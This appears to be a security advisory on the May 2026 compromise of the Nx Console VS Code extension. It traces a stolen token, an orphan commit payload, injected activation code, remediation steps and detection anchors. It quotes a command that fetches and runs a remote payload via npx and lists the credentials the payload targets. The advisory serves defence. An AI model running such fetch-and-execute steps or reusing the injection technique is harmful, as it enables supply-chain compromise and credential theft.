Nx Console VS Code Extension Compromised

What it is

The compromised release is nrwl.angular-console v18.95.0 (Nx Console) on the VS Code Marketplace only — OpenVSX was not affected. The extension has 2.2M+ installs. The malicious version was live for ~11 minutes (published 12:36 UTC, pulled 12:47 UTC on May 18, 2026). This is the second Nx supply chain attack in under a year; the August 2025 incident hit npm packages directly, this one pivoted to the extension channel.

How it works

The initial vector was a stolen contributor GitHub token (scraped in a separate, unidentified prior supply chain attack) with push access to nrwl/nx and, directly or indirectly, the Marketplace publishing credential (VSCE_PAT).

At 03:18 UTC the attacker pushed a dangling orphan commit (558b09d7) — zero parents, unreachable from any branch, fetchable only if you know the SHA. It was spoofed as former contributor Zachary DeRose (zack@nrwl.io) but, unlike his real commits, is unsigned. Its message — "Don't delete this commit before 24 hours or wiper activates" — is a fake threat to delay cleanup. The commit's tree replaces the whole monorepo with a package.json declaring a bun dependency (installing the Bun runtime) plus a 498 KB index.js.

The published extension had 2,777 bytes injected at byte offset 7,703,700 in the minified main.js. On any workspace open, Efn(td) runs from activate(), checks globalState key nxConsole.mcpExtensionInstalledSha, and if it doesn't match a hardcoded SHA, spawns a background Task running npx -y github:nrwl/nx#558b09d7... to fetch and execute the orphan-commit payload.

Preconditions / Affected

You are affected if you installed v18.95.0 from the VS Code Marketplace. macOS users additionally get a persistent Python backdoor (dead-drop via GitHub Search API, commands signed with a 4096-bit RSA key).

What to do

The page's explicit directive: if you have this version installed, assume your system is compromised — rotate all credentials the payload targets (GitHub, npm, AWS, Vault, Kubernetes, 1Password, and ~/.claude/settings.json). Detection anchors from the page:

Commit SHA:     558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2
globalState key: nxConsole.mcpExtensionInstalledSha
Payload fetch:  npx -y github:nrwl/nx#<sha>

Caveats

• Microsoft's initial install figure was 28; Nx says actual installs may exceed 6,000 — the page treats the low number as unreliable.
• GitHub did not officially name the extension in its May 19 disclosure of ~3,800 exfiltrated internal repos; the tie to Nx Console comes from Nx CEO Jeff Cross, and attribution to TeamPCP (now attempting to sell the data) is asserted, not independently confirmed in the text.
• The specific prior attack that leaked the contributor token has not been publicly identified.